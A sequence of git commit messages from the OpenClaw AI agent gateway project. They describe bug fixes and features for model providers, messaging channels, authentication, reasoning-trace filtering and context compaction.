This plugin connects OpenClaw to WeChat personal accounts via
WeChatPadPro (iPad protocol) with support for text, image, and
file exchange.
Co-authored-by: Cursor <cursoragent@cursor.com>
Kimi K2 models use automatic prefix caching and return cache stats in
a nested field: usage.prompt_tokens_details.cached_tokens
This fixes issue #7073 where cacheRead was showing 0 for K2.5 users.
Also adds cached_tokens (top-level) for moonshot-v1 explicit caching API.
Closes#7073
resolveAgentModelPrimary() only checks the agent-level model config and
does not fall back to the system-wide default. When users configure a
non-Anthropic provider (e.g. Gemini, Minimax) as their global default
without setting it at the agent level, the slug-generator falls through
to DEFAULT_PROVIDER (anthropic) and fails with a missing API key error.
Switch to resolveAgentEffectiveModelPrimary() which correctly respects
the full model resolution chain including global defaults.
Fixes#25365
When a built-in provider model has reasoning:true (e.g. MiniMax-M2.5) and
the user explicitly sets reasoning:false in their config, mergeProviderModels
unconditionally overwrote the user's value with the built-in catalog value.
The merge code refreshes capability metadata (input, contextWindow, maxTokens,
reasoning) from the implicit catalog. This is correct for fields like
contextWindow and maxTokens — the catalog has authoritative values that
shouldn't be stale. But reasoning is a user preference, not just a
capability descriptor: users may need to disable it to avoid 'Message
ordering conflict' errors with certain models or backends.
Fix: check whether 'reasoning' is present in the explicit (user-supplied)
model entry. If the user has set it (even to false), honour that value.
If the user hasn't set it, fall back to the built-in catalog default.
This allows users to configure tools.models.providers.minimax.models with
reasoning:false for MiniMax-M2.5 without being silently overridden.
Fixes#25244
The matchAllowlist() function skipped patterns without path separators
(/, \, ~), causing a bare "*" wildcard entry to never reach the glob
matcher. Since glob's single * maps to [^/]*, it would also fail against
absolute paths. Handle bare "*" as a special case that matches any
resolved executable path.
Closes#25082
Control UI connections authenticated via gateway.auth.mode=trusted-proxy were
still forced through device pairing because pairing bypass only considered
shared token/password auth (sharedAuthOk). In trusted-proxy deployments,
this produced persistent "pairing required" failures despite valid trusted
proxy headers.
Treat authenticated trusted-proxy control-ui connections as pairing-bypass
eligible and allow missing device identity in that mode.
Fixes#25293
Co-authored-by: Cursor <cursoragent@cursor.com>
handleToolExecutionStart() flushed pending block replies and then called
onBlockReplyFlush() as fire-and-forget (`void`). This created a race where
fast tool results (especially media on Telegram) could be delivered before
the text block that preceded the tool call.
Await onBlockReplyFlush() so the block pipeline finishes before tool
execution continues, preserving delivery order.
Fixes#25267
Co-authored-by: Cursor <cursoragent@cursor.com>
The cost usage submenu set `menu.delegate = self` (the MenuSessionsInjector),
which caused `menuWillOpen(_:)` to call `inject(into:)` on the submenu when
it opened. This re-inserted the "Usage cost (30 days)" item into the submenu,
creating an infinite recursive dropdown.
Fix: remove the delegate assignment from the submenu — it does not need
the injector's delegate behavior since it only contains a static chart view.
Closes#25167
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(cli): replace stale doctor and restart hints
* fix: add changelog for CLI hint updates (#24485) (thanks @chilu18)
---------
Co-authored-by: Muhammed Mukhthar CM <mukhtharcm@gmail.com>
* docs: add Val Alexander to maintainers list
- Focus: UI/UX, Docs, and Agent DevX
- GitHub: @BunsDev
- X/Twitter: @BunsDev
* Update CONTRIBUTING.md
* fix: format
* Auto-reply tests: cover multilingual abort triggers
* Auto-reply: normalize multilingual abort triggers
* Gateway: route chat stop matching through abort parser
* Gateway tests: cover chat stop parsing variants
* Auto-reply tests: cover Russian and German stop words
* Auto-reply: add Russian and German abort triggers
* Gateway tests: include Russian and German stop forms
* Telegram tests: route Russian and German stop forms to control lane
* Changelog: note multilingual abort stop coverage
* Changelog: add shared credit for abort shortcut update
Verify that partial stream updates containing <thinking> tags are stripped
before reaching the draft preview, and that pure "Reasoning:\n" partials
are suppressed entirely.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
When streamMode is "partial", reasoning/thinking block content can leak
into the Discord draft preview because the partial text is forwarded to
the draft stream without filtering. Apply `stripReasoningTagsFromText`
before updating the draft and skip pure-reasoning messages (those
starting with "Reasoning:\n") so internal thinking traces never reach
the user-visible preview.
Fixes#24532
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Verify that deliverMatrixReplies skips replies whose text starts with
"Reasoning:\n" or opens with <thinking>/<think>/<antthinking> tags, while
still delivering all normal replies.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
When `includeReasoning` is active (or `reasoningLevel` falls back to the
model default), the agent emits reasoning blocks as separate reply
payloads prefixed with "Reasoning:\n". Matrix has no dedicated reasoning
lane, so these internal thinking traces leak into the chat as regular
user-visible messages.
Filter out pure-reasoning payloads (those starting with "Reasoning:\n" or
a `<thinking>` tag) before delivery so internal reasoning never reaches
the Matrix room.
Fixes#24411
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
When reasoningLevel is 'on', reasoning content was being sent as a
visible message to WhatsApp and other non-Telegram channels via two
paths:
1. Block reply: emitted via onBlockReply in handleMessageEnd
2. Final payloads: added to replyItems in buildEmbeddedRunPayloads
Telegram has its own dispatch path (bot-message-dispatch.ts) that
splits reasoning into a dedicated lane and handles suppression.
The generic dispatch-from-config.ts path used by WhatsApp, web, etc.
had no such filtering.
Fix:
- Add isReasoning?: boolean flag to ReplyPayload
- Tag reasoning payloads at both emission points
- Filter isReasoning payloads in dispatch-from-config.ts for both
block reply and final reply paths
Telegram is unaffected: it uses its own deliver callback that detects
reasoning via the 'Reasoning:\n' prefix and routes to a separate lane.
Fixes#24954
In trusted-proxy mode, sharedAuthResult is null because hasSharedAuth
only triggers for token/password in connectParams.auth. But the primary
auth (authResult) already validated the trusted-proxy — the connection
came from a CIDR in trustedProxies with a valid userHeader. This IS
shared auth semantically (the proxy vouches for identity), so operator
connections should be able to skip device identity.
Without this fix, trusted-proxy operator connections are rejected with
"device identity required" because roleCanSkipDeviceIdentity() sees
sharedAuthOk=false.
(cherry picked from commit e87048a6a6)
The 'auto' model on OpenRouter dynamically routes to any underlying model
OpenRouter selects, including reasoning-required endpoints. Previously,
OpenClaw would unconditionally inject `reasoning.effort: "none"` into
every request when the thinking level was "off", which causes a 400 error
on models where reasoning is mandatory and cannot be disabled.
Root cause:
- openrouter/auto has reasoning: false in the built-in catalog
- With thinking level "off", createOpenRouterWrapper injects
`reasoning: { effort: "none" }` via mapThinkingLevelToOpenRouterReasoningEffort
- For any OpenRouter-routed model that requires reasoning this results in:
"400 Reasoning is mandatory for this endpoint and cannot be disabled"
- The reasoning: false is then persisted back to models.json on every
ensureOpenClawModelsJson call, so manually removing it has no lasting effect
Fix:
- In applyExtraParamsToAgent, when provider is "openrouter" and the model
id is "auto", pass undefined as thinkingLevel to createOpenRouterWrapper
so no reasoning.effort is injected at all, letting OpenRouter's upstream
model handle it natively
- Add an explanatory comment in buildOpenrouterProvider clarifying that the
reasoning: false catalog value does NOT cause effort injection for "auto"
Users who need explicit reasoning control should target a specific model
id (e.g. openrouter/deepseek/deepseek-r1) rather than the auto router.
Fixes#24851
(cherry picked from commit aa55439798)
The previous test asserted that OpenAI-responses sessions would NOT get
synthetic tool results for orphaned tool calls. With repairToolUseResultPairing
now running universally, the correct behavior is that orphaned tool calls
get a synthetic tool_result — matching what OpenAI actually requires.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
(cherry picked from commit 2edb0ffe0b)
repairToolUseResultPairing was gated behind !isOpenAi, skipping orphaned
tool_result cleanup for OpenAI providers. When limitHistoryTurns truncated
conversation history, tool_result messages whose matching tool_call was
before the truncation point survived and were sent as function_call_output
items with stale call_id references. OpenAI rejects these with:
"No tool call found for function call output with call_id ..."
Enable the repair universally — all providers need it after truncation.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
(cherry picked from commit 97b065aa6e)
The handleAutoCompactionStart handler was calling runBeforeCompaction with
only messageCount and an empty hook context. Plugins receiving this hook
could not identify the session or snapshot the transcript during
auto-compaction.
The other call site in compact.ts already passes the full payload
(messages, sessionFile, sessionKey). This aligns the subscribe handler
to do the same using ctx.params.session and ctx.params.sessionKey.
(cherry picked from commit 318a19d1a1)
The input peer.kind from channel plugins was used as-is without
normalization via normalizeChatType(), while the binding side correctly
normalized. This caused "dm" !== "direct" mismatches in
matchesBindingScope, making plugins that use "dm" as peerKind fail to
match bindings configured with "direct".
Normalize both peer.kind and parentPeer.kind through normalizeChatType()
so that "dm" and "direct" are treated equivalently on both sides.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
(cherry picked from commit b0c96702f5)
When addGatewayClientOptions registers --url on the parent browser
command, Commander.js captures it before the cookies set subcommand
can receive it. Switch from requiredOption to option and resolve
via inheritOptionFromParent, matching the existing pattern used
for --target-id.
Fixes#24811
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
(cherry picked from commit 96fcb963ec)
When sessions_spawn is called without runTimeoutSeconds, subagents
previously defaulted to 0 (no timeout). This adds a config key at
agents.defaults.subagents.runTimeoutSeconds so operators can set a
global default timeout for all subagent runs.
The agent-provided value still takes precedence when explicitly passed.
When neither the agent nor the config specifies a timeout, behavior is
unchanged (0 = no timeout), preserving backwards compatibility.
Updated for the subagent-spawn.ts refactor (logic moved from
sessions-spawn-tool.ts to spawnSubagentDirect).
Closes#19288
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
The pi-ai Anthropic provider constructs the full API endpoint as
`${baseUrl}/v1/messages`. If a user configures
`models.providers.anthropic.baseUrl` with a trailing `/v1`
(e.g. "https://api.anthropic.com/v1"), the resolved URL becomes
"https://api.anthropic.com/v1/v1/messages" which the Anthropic API
rejects with a 404 / connection failure.
This regression appeared in v2026.2.22 when @mariozechner/pi-ai bumped
from 0.54.0 to 0.54.1, which started appending the /v1 segment where
the previous version did not.
Fix: in normalizeModelCompat(), detect anthropic-messages models and
strip a single trailing /v1 (with optional trailing slash) from the
configured baseUrl before it is handed to pi-ai. Models with baseUrls
that do not end in /v1 are unaffected. Non-anthropic-messages models
are not touched.
Adds 6 unit tests covering the normalisation scenarios.
Fixes#24709
(cherry picked from commit 4c4857fdcb)
Address review feedback: isMinimal is no longer referenced after the
early-return guard was removed in the parent commit.
(cherry picked from commit 2efe04d301)
buildSkillsSection() had an early-return guard on isMinimal that silently
dropped the entire <available_skills> block for any session using
promptMode="minimal" — which includes all isolated cron agentTurn sessions
(isCronSessionKey → promptMode="minimal" in attempt.ts:497-500).
Fix: remove the isMinimal guard from buildSkillsSection so that skills are
emitted whenever a non-empty skillsPrompt is provided, regardless of mode.
Memory, docs, reply-tags, and other verbose sections remain gated on isMinimal.
Tests added:
- "includes skills in minimal prompt mode when skillsPrompt is provided (cron regression)"
- "omits skills in minimal prompt mode when skillsPrompt is absent"
- Updated existing minimal-mode test expectation to match corrected behaviour.
(cherry picked from commit 66af86e7ee)
When the gateway is deployed in a Docker/container environment using a
1-click hosting template, the openclaw.json config file can end up owned
by root (mode 600) while the gateway process runs as the non-root 'node'
user. This causes a silent EACCES failure: the gateway starts with an
empty config and Telegram/Discord bots stop responding.
Before this fix the error was logged as a generic 'read failed: ...'
message with no indication of how to recover.
After this fix:
- EACCES errors log a clear, actionable error to stderr (visible in
docker logs) with the exact chown command to run
- The config snapshot issue message also includes the chown hint so
'openclaw gateway status' / Control UI surface the fix path
- process.getuid() is used to include the current UID in the hint;
falls back to '1001' on platforms where it is unavailable
Fixes#24853
(cherry picked from commit 0a3c572c41)
When a command exits with code 127 (command not found) or 126 (not
executable), the exec tool previously returned status "completed" with
the error buried in the output text. This caused cron jobs to report
status "ok" and never increment consecutiveErrors, silently swallowing
failures like `python: command not found` across multiple daily cycles.
Now these shell-reserved exit codes are classified as "failed", which
propagates through the cron pipeline to properly increment
consecutiveErrors and surface the issue for operator attention.
Fixes#24587
Co-authored-by: Cursor <cursoragent@cursor.com>
(cherry picked from commit 2b1d1985ef)
Fix bug where sessions_spawn model parameter was ignored, causing sub-agents
to always use the parent's default model.
The allowAny flag from buildAllowedModelSet() was not being captured or used.
🤖 AI-assisted (Claude) - fully tested locally
Fixes#17479, #6295, #10963
Use OR operator to require both Browser and Protocol-Version fields. Simplified catch block to generic error message since specific wrong-port cases are already handled by the validation blocks above.
Options page now validates that /json/version returns valid CDP JSON (with Browser/Protocol-Version fields) rather than accepting any HTTP 200 response. This prevents false success when users mistakenly configure the gateway port instead of the relay port (gateway + 3).
Helpful error messages now guide users to use "gateway port + 3" when they configure the wrong port.
Restores the narrower internal-channel guard from PR #22223 (fe57bea08) that was
inadvertently reverted by f555835b0.
The original !isDeliverableMessageChannel() check strips the requester's channel
whenever it is not in the registered deliverable set. This causes delivery
failures for plugin channels whose adapter ID differs from their plugin ID (e.g.
"gmail" vs "openclaw-gmail"): the requester origin is discarded and the announce
falls back to stale session routes — typically WhatsApp — resulting in a timeout
followed by an E.164 format error.
Replacing with isInternalMessageChannel() limits stripping to explicitly internal
channels (webchat), preserving the requester origin for all external channels
regardless of whether they are currently in the deliverable list.
Fixes: #22223 regression introduced in f555835b0
Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com>
Skip re-attach when user explicitly dismisses debugger bar or opens
DevTools. Prevents frustrating re-attach loop that fights user intent.
Addresses review feedback from greptile-apps.
When Chrome's debugger detaches during page navigation (common in SPAs
like Gmail, Google Calendar), the extension now automatically re-attaches
instead of permanently losing the connection.
Changes:
- onDebuggerDetach: detect navigation vs tab close, attempt re-attach
with 3 retries and exponential backoff (300ms, 700ms, 1500ms)
- Add reattachPending guard to prevent concurrent re-attach races
- connectOrToggleForActiveTab: handle pending re-attach state
- onRelayClosed: clear reattachPending on relay disconnect
- Add chrome.tabs.onRemoved listener for proper cleanup
Fixes#19744
Subagent and isolated cron sessions only loaded AGENTS.md and TOOLS.md,
causing subagents to lose their role personality, identity, and user
preferences. Expand MINIMAL_BOOTSTRAP_ALLOWLIST to include the three
missing identity files.
Closes#24852
(cherry picked from commit c33377150e)
The diagnostics-otel extension validates that protocol is "http/protobuf"
but was importing JSON-based `-http` exporters. This caused silent failures
with backends like VictoriaMetrics that only accept protobuf-encoded OTLP.
Switch all three exporter imports (metrics, traces, logs) from
`@opentelemetry/exporter-*-otlp-http` to `@opentelemetry/exporter-*-otlp-proto`.
Fixes#24942
Co-authored-by: Cursor <cursoragent@cursor.com>
(cherry picked from commit f5c0bf0497)
When session.dmScope is set to 'per-channel-peer', WhatsApp DMs correctly
resolve isolated session keys, but updateLastRouteInBackground unconditionally
wrote lastTo to the main session key. This caused reply routing corruption
and privacy violations.
Only update main session's lastRoute when the DM session actually IS
the main session (sessionKey === mainSessionKey).
Fixes#24912
"off" is a truthy string, so the existing guard `if (thinkingLevel && ...)`
was always entering the injection block and sending `reasoning: { effort: "none" }`
to every OpenRouter request — even when thinking wasn't enabled. Models that
require reasoning (e.g. deepseek/deepseek-r1) reject this with:
400 Reasoning is mandatory for this endpoint and cannot be disabled.
Fix: skip the reasoning injection entirely when thinkingLevel is "off".
The reasoning_effort flat-field cleanup still runs. Omitting the reasoning
field lets each model use its own default behavior.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
sessions_send timeout/error results were being surfaced as raw warning
messages in Telegram chats because the tool is classified as mutating,
which forces error warnings to always be shown. However, sessions_send
failures are transient inter-session communication issues where the
message may still have been delivered, so they should not leak to users.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
The deliver callback in process-message.ts was forwarding all payload
kinds (tool, block, final) to WhatsApp. Block payloads contain the
model's reasoning/thinking content, which should only be visible in
the internal web UI. This caused chain-of-thought to leak to end users
as separate WhatsApp messages.
Add an early return for non-final payloads so only the actual response
is delivered to the WhatsApp channel, matching how Telegram already
filters by info.kind === "final".
Fixes#24954Fixes#24605
Co-authored-by: Cursor <cursoragent@cursor.com>
Apply redactIdentifier() (SHA-256 hashing) to all recipient JIDs and
phone numbers logged by sendMessageWhatsApp, sendReactionWhatsApp,
sendPollWhatsApp, and runWebHeartbeatOnce. Remove poll question text
and message preview content from log entries, replacing with character
counts where useful for debugging.
The existing redactIdentifier() utility in src/logging/redact-identifier.ts
was already implemented but not wired into any WhatsApp logging path.
This commit connects it to all affected call sites while leaving
functional parameters (actual send calls, event emitters) untouched.
Closes#24957
Isolated cron sessions (agentTurn) were grouped with subagent sessions
under the "minimal" prompt mode, which causes buildSkillsSection to
return an empty array. This meant <available_skills> was never included
in the system prompt for isolated cron runs.
Subagent sessions legitimately need minimal prompts (reduced context),
but isolated cron sessions are full agent turns that should have access
to all configured skills, matching the behavior of normal chat sessions
and non-isolated cron runs.
Remove isCronSessionKey from the minimal prompt condition so only
subagent sessions use "minimal" mode.
Fixes openclaw#24888
Co-authored-by: Cursor <cursoragent@cursor.com>
* fix(plugins): use manifest id as config key instead of npm package name
Plugin manifests (openclaw.plugin.json) define a canonical 'id' field that
is used as the authoritative plugin identifier by the manifest registry.
However, the install command was deriving the config entry key from the npm
package name (e.g. 'cognee-openclaw') rather than the manifest id (e.g.
'memory-cognee'), causing a latent mismatch.
On the next gateway reload the plugin could not be found under the config key
derived from the npm package name, causing 'plugin not found' errors and
potentially shutting the gateway down.
Fix: after extracting the package directory, read openclaw.plugin.json and
prefer its 'id' field over the npm package name when registering the config
entry. Falls back to the npm-derived id if the manifest file is absent or
has no valid id. A diagnostic info message is emitted when the two values
differ so the mismatch is visible in the install log.
The update path (src/plugins/update.ts) already correctly reads the manifest
id and is unaffected.
Fixes#24429
* fix: format plugin install manifest-id path (#24796)
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
When the Synology Chat plugin restarts (auto-restart or health monitor),
startAccount is called again without calling the previous stop(). The
HTTP route is still registered, so registerPluginHttpRoute returns a
no-op unregister function and logs "already registered". This triggers
another restart, creating an infinite loop.
Store the unregister function at module level keyed by account+path.
Before registering, check for and call any stale unregister from the
previous start cycle, ensuring a clean slate for route registration.
Fixes#24894
Co-authored-by: Cursor <cursoragent@cursor.com>
Block payloads (info.kind === "block") contain reasoning/thinking content
that should only be visible in the internal web UI. When streamMode is
"partial", these blocks were being delivered to Discord as visible
messages, leaking chain-of-thought to end users.
Add an early return for block payloads in the deliver callback,
consistent with the WhatsApp fix and Telegram's existing behavior.
Fixes#24532
Co-authored-by: Cursor <cursoragent@cursor.com>
* fix(gateway): safely extract text from message content arrays in prompt builder
When HistoryEntry.body is a content array (e.g. [{type:"text",
text:"hello"}]) rather than a plain string, template literal
interpolation produces "[object Object]" instead of the actual message
text. This affects users whose session messages were stored with array
content format.
Add a safeBody helper that detects non-string body values and uses
extractTextFromChatContent to extract the text, preventing the
[object Object] serialization in both the current-message return path
and the history formatting path.
Fixes openclaw#24688
Co-authored-by: Cursor <cursoragent@cursor.com>
* fix: format gateway agent prompt helper (#24946)
---------
Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
When the gateway rejects connections (e.g. scope-upgrade 'pairing required'),
the announce queue drain loop would retry every ~1s indefinitely because
the only delay was the fixed debounceMs (default 1000ms).
This adds a consecutiveFailures counter with exponential backoff:
2s, 4s, 8s, 16s, 32s, 60s (capped). The counter resets on successful drain.
The backoff is applied by shifting lastEnqueuedAt forward so that
waitForQueueDebounce naturally delays the next attempt.
Fixes#24777
Co-authored-by: Knut <knut@Knut-sin-Mac-mini.local>
When a user runs /reasoning off, the session patch handler deleted
the reasoningLevel field from the session entry. This caused
get-reply-directives to treat reasoning as 'not explicitly set',
which triggered resolveDefaultReasoningLevel() to re-enable
reasoning for capable models (e.g. Claude Opus).
The fix persists 'off' explicitly, matching how directive-handling.persist.ts
already handles the inline /reasoning off command.
Fixes#24406Fixes#24411
Co-authored-by: echoVic <AkiraVic@outlook.com>
* fix(infra): handle Windows dev=0 in sameFileIdentity TOCTOU check
On Windows, `fs.lstatSync` (path-based) returns `dev: 0` while
`fs.fstatSync` (fd-based) returns the real NTFS volume serial number.
This mismatch caused `sameFileIdentity` to always fail, making
`openVerifiedFileSync` reject every file — silently breaking all
Control UI static file serving (HTTP 404).
Fall back to ino-only comparison when either dev is 0 on Windows.
ino remains unique within a single volume, so TOCTOU protection
is preserved.
Fixes#24692
* fix: format sameFileIdentity wrapping (#24939)
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
Use tryRealpath() instead of path.resolve() when comparing expected
package paths in detectGlobalInstallManagerForRoot(). path.resolve()
only normalizes path strings without following symlinks, causing pnpm
global installs to go undetected since pnpm symlinks node_modules
entries into its .pnpm content-addressable store.
Fixes#22768
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
The selfChatMode config field was resolved by accounts.ts but never
consumed in the access-control logic. Use nullish coalescing so an
explicit true/false from config takes precedence over the allowFrom
heuristic, while undefined falls back to the existing behavior.
Fixes#23788
Co-authored-by: Claude <noreply@anthropic.com>
When running `openclaw doctor --fix` and no config changes are needed,
the else branch unconditionally showed "Run doctor --fix to apply changes"
which is confusing since we just ran --fix.
Now the hint only appears when NOT in fix mode (i.e. when running plain
`openclaw doctor`). When in fix mode with nothing to change, the command
silently proceeds to the "Doctor complete." outro.
Fixes#24566
Co-authored-by: User <user@example.com>
Telegram's API and file servers resolve to IPs in the 198.18.0.0/15
range (RFC 2544 benchmarking range). The SSRF filter was blocking these
addresses because ipaddr.js classifies them as 'reserved', and the
filter also had an explicit RFC2544_BENCHMARK_PREFIX check that blocked
them unconditionally.
Fix: exempt 198.18.0.0/15 from the 'reserved' range block in
isBlockedSpecialUseIpv4Address(). Other 'reserved' ranges (TEST-NET-2,
TEST-NET-3, documentation prefixes) remain blocked. The explicit
RFC2544_BENCHMARK_PREFIX check is repurposed as the exemption guard.
Closes#24973
`Math.min(250, deadline - Date.now())` could return a negative value if
the deadline expired between the while-condition check and the setTimeout
call. Wrap with `Math.max(0, ...)` to ensure the sleep is never negative.
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
When `openclaw update` regenerates the systemd service file, any user
customizations to ExecStart (e.g. proxychains4 wrapper) are silently
lost. Now the existing unit file is copied to `.bak` before writing
the new one, so users can restore their customizations.
The backup path is printed in the install output so users are aware.
Co-authored-by: echoVic <AkiraVic@outlook.com>
On NixOS/Nix-managed installs, config and state directories are symlinks
into /nix/store/. Symlinks on Linux always report 0o777 via lstatSync,
causing `openclaw doctor` to incorrectly warn about open permissions.
Use lstatSync to detect symlinks, resolve the target, and only suppress
the warning when the resolved path lives in /nix/store/ (an immutable
filesystem). Symlinks to insecure targets still trigger warnings.
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
The slug generator was using hardcoded DEFAULT_PROVIDER and DEFAULT_MODEL
instead of resolving from agent config. This caused it to fall back to
anthropic/claude-opus-4-6 even when a cloud model was configured.
Now uses resolveAgentModelPrimary() to get the configured model, with
fallback to defaults if not configured.
Fixes issue where session memory filenames would fail to generate
when using cloud models that require special backends.
The restart sentinel wake path passes threadId to deliverOutboundPayloads,
but Slack requires replyToId (mapped to thread_ts) for threading. The agent
reply path already does this conversion but the sentinel path did not,
causing post-restart notifications to land as top-level DMs.
Fixes#17716
Add stripNullBytes() helper and apply it to all return paths in
resolveAgentWorkspaceDir() including configured, default, and
state-dir-derived paths. Null bytes in paths cause ENOTDIR errors
when Node tries to resolve them as directories.
Change workspaceDir param type from string to string | undefined in
resolvePluginSkillDirs and use nullish coalescing before .trim() to
prevent TypeError when workspaceDir is undefined.
* feat: Add Kilo Gateway provider
Add support for Kilo Gateway as a model provider, similar to OpenRouter.
Kilo Gateway provides a unified API that routes requests to many models
behind a single endpoint and API key.
Changes:
- Add kilocode provider option to auth-choice and onboarding flows
- Add KILOCODE_API_KEY environment variable support
- Add kilocode/ model prefix handling in model-auth and extra-params
- Add provider documentation in docs/providers/kilocode.md
- Update model-providers.md with Kilo Gateway section
- Add design doc for the integration
* kilocode: add provider tests and normalize onboard auth-choice registration
* kilocode: register in resolveImplicitProviders so models appear in provider filter
* kilocode: update base URL from /api/openrouter/ to /api/gateway/
* docs: fix formatting in kilocode docs
* fix: address PR review — remove kilocode from cacheRetention, fix stale model refs and CLI name in docs, fix TS2742
* docs: fix stale refs in design doc — Moltbot to OpenClaw, MoltbotConfig to OpenClawConfig, remove extra-params section, fix doc path
* fix: use resolveAgentModelPrimaryValue for AgentModelConfig union type
---------
Co-authored-by: Mark IJbema <mark@kilocode.ai>
The extension relay server authenticates using an HMAC-SHA256 derived
token (`openclaw-extension-relay-v1:<port>`), but the Chrome extension
was sending the raw gateway token. This caused both the WebSocket
connection and the options page validation to fail with 401 Unauthorized.
Additionally, the options page validation request triggered a CORS
preflight (due to the custom `x-openclaw-relay-token` header) which the
relay rejects because OPTIONS requests lack auth headers. The options
page now delegates the check to the background service worker which has
host_permissions and bypasses CORS preflight.
Fixes#23842
Co-authored-by: Cursor <cursoragent@cursor.com>
(cherry picked from commit bbc654b9f0)
The generic "node command not allowed" error gives no indication of why the
command was rejected, making it hard to diagnose issues (e.g. running
`nodes notify` against a Linux node that does not declare `system.notify`).
Include the rejection reason and node platform in the error message so
callers can tell whether the command is not supported by the node, not in
the platform allowlist, or the node did not advertise its capabilities.
Fixes#24616
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
(cherry picked from commit e3d74619bc)
* feat: add anthropic-vertex provider for Claude via GCP Vertex AI
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Signed-off-by: sallyom <somalley@redhat.com>
* docs: add anthropic-vertex provider guide
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Signed-off-by: sallyom <somalley@redhat.com>
* Agents: validate Anthropic Vertex project env
* Changelog: format update for Vertex entry
* Providers: rename Anthropic Vertex to Google Vertex Claude
* Providers: remove Vertex Claude provider path
* Models: normalize Vercel Claude shorthand refs
* Onboarding: default Vercel model to Claude shorthand
* Changelog: add @vincentkoc credit for #23985
* Onboarding: keep canonical Vercel default model ref
* Tests: expand Vercel model normalization coverage
---------
Signed-off-by: sallyom <somalley@redhat.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
Proxy providers returning Chinese error messages (e.g. Chinese LLM
gateways) use patterns like '上下文过长' or '上下文超出' that are not
matched by the existing English-only patterns in isContextOverflowError.
This prevents auto-compaction from triggering, leaving the session stuck.
Add the most common Chinese proxy patterns:
- 上下文过长 (context too long)
- 上下文超出 (context exceeded)
- 上下文长度超 (context length exceeds)
- 超出最大上下文 (exceeds maximum context)
- 请压缩上下文 (please compress context)
Chinese characters are unaffected by toLowerCase() so check the
original message directly.
Closes#22849
* Telegram: soft-fail reactions and fallback to inbound message id
* Telegram: soft-fail missing reaction message id
* Update CHANGELOG.md
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix: cancel compaction instead of truncating history when summarization fails
When the compaction safeguard cannot generate a summary (no model, no API
key, or LLM error), it previously returned a "Summary unavailable" fallback
string and still truncated history. This caused irreversible data loss -
older messages were discarded even though no meaningful summary was produced.
Now returns `{ cancel: true }` in all three failure paths so the framework
aborts compaction entirely and preserves the full conversation history.
Fixes#10332
Co-authored-by: Cursor <cursoragent@cursor.com>
* fix: use deterministic timestamps in compaction safeguard tests
Replace Date.now() with fixed timestamp (0) in test data to prevent
nondeterministic behavior in snapshot-based or order-dependent tests.
Co-authored-by: Cursor <cursoragent@cursor.com>
* Changelog: note compaction cancellation safeguard fix
---------
Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix(compaction): pass model through runtime to fix ctx.model undefined
Fixes#3479
Root cause: extensionRunner.initialize() is never called in compact.ts workflow,
leaving ctx.model undefined. Compaction safeguard checks ctx.model and returns
fallback summary immediately without attempting LLM summarization.
Changes:
1. Pass model through compaction safeguard runtime registry (same pattern as maxHistoryShare)
2. Fall back to runtime.model when ctx.model is undefined
3. Add once-per-session warning when both models are missing (prevents log spam)
4. Add regression test for runtime.model fallback
This follows the established runtime registry pattern rather than attempting to call
extensionRunner.initialize() (which is SDK-internal and not meant for direct access).
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
* test: add comprehensive tests for compaction-safeguard model fallback
Add integration tests to verify the model fallback behavior:
- Test runtime.model fallback when ctx.model is undefined (compact.ts workflow)
- Test fallback summary when both ctx.model and runtime.model are undefined
- Test contextWindowTokens runtime storage/retrieval
- Test combined runtime values (maxHistoryShare + contextWindowTokens + model)
These tests verify the fix for issue #3479 where compaction fails due to
ctx.model being undefined in the compact.ts workflow. The runtime registry
pattern allows model to be passed when extensionRunner.initialize() is not
called, ensuring summarization works in all code paths.
Related: PR #17864
* fix(test): adapt compaction-safeguard tests to upstream type changes
- Add baseUrl to Model mock objects (now required by Model<Api>)
- Add explicit Model<Api> annotation to prevent provider string widening
- Cast modelRegistry mock through unknown (ModelRegistry expanded)
- Use non-null assertion for compactionHandler (TypeScript strict)
- Type compaction result explicitly
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* Compaction: add changelog credit for model fallback fix
* Update CHANGELOG.md
* Update CHANGELOG.md
---------
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix: detect additional context overflow error patterns to prevent leak to user
Fixes#9951
The error 'input length and max_tokens exceed context limit: 170636 +
34048 > 200000' was not caught by isContextOverflowError() and leaked
to users via formatAssistantErrorText()'s invalidRequest fallback.
Add three new patterns to isContextOverflowError():
- 'exceed context limit' (direct match)
- 'exceeds the model\'s maximum context'
- max_tokens/input length + exceed + context (compound match)
These are now rewritten to the friendly context overflow message.
* Overflow: add regression tests and changelog credits
* Update CHANGELOG.md
* Update pi-embedded-helpers.isbillingerrormessage.test.ts
---------
Co-authored-by: echoVic <AkiraVic@outlook.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* feat: add Gemini (Google Search grounding) as web_search provider
